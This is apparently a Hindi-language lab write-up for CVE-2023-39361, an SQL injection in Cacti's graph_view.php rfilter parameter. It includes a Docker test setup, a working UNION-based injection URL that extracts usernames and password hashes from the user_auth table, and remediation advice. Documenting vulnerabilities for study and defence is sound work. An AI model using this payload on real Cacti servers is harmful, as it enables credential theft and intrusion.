
# CVE-2023-39361 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट Cacti के graph_view.php में SQL इंजेक्शन, जिससे डेटा एक्सफिल्ट्रेशन और संभावित RCE हो सकता है।
[ WHS 3기 ] - 남기찬_7342 (ChoDeokCheol)
graph_view.php फ़ाइल के grow_right_pane_tree फ़ंक्शन में एक भेद्यता मौजूद है।action पैरामीटर को tree_content पर सेट किया जाता है, तो उपयोगकर्ता इनपुट rfilter पैरामीटर मौजूद होता है।rfilter पैरामीटर को html_validate_tree_vars फ़ंक्शन के माध्यम से सत्यापित किया जाता है, लेकिन यह सत्यापन केवल यह जांचता है कि यह एक मान्य नियमित अभिव्यक्ति है या नहीं।rfilter मान को SQL क्वेरी में डाला जाता है, जिससे कोड इंजेक्शन संभव है।docker-compose -v के माध्यम से Docker Compose की स्थापना और संस्करण की जाँच करें।docker compose up -d के माध्यम से PoC पर्यावरण सेट करें। (इमेज: cacti:1.2.24)

यह भेद्यता तब होती है जब प्रमाणीकरण सेटिंग्स में सामान्य उपयोगकर्ता (अतिथि) को ग्राफ़ देखने की अनुमति दी जाती है।
इस भेद्यता को निम्नलिखित पैरामीटर इनपुट के साथ सत्यापित किया जा सकता है:
http://your-ip:8080/graph_view.php?action=tree_content&node=1-1-tree_anchor&rfilter=aaaaaaa"%20OR%20""="(("))%20UNION%20SELECT%201,2,(select%20concat(id,0x23,username,0x23,password)%20from%20user_auth%20limit%201),4,5,6,(select%20user()),(select%20version()),9,10%23
यह देखा जा सकता है कि अनुरोध के अनुसार प्रतिक्रिया दी गई।
SQL इंजेक्शन हमला मुख्य रूप से सर्वर संवाद के दौरान उपयोगकर्ता इनपुट को स्वीकार करने पर होता है। इस SQL इंजेक्शन हमले के कारण डेटाबेस की आंतरिक गोपनीयता से समझौता हुआ, और संपत्ति के रिसाव का परिणाम देखा गया।
इस SQL इंजेक्शन के उपाय के रूप में, rfilter पर बुनियादी श्वेतसूची मान सत्यापन की जाँच की जा सकती है या (", ', ;, ...) जैसे विशेष वर्णों को एस्केप किया जा सकता है। या DB एक्सेस करते समय Doctrine जैसी ORM लाइब्रेरी का उपयोग करने जैसे सुधार किए जा सकते हैं।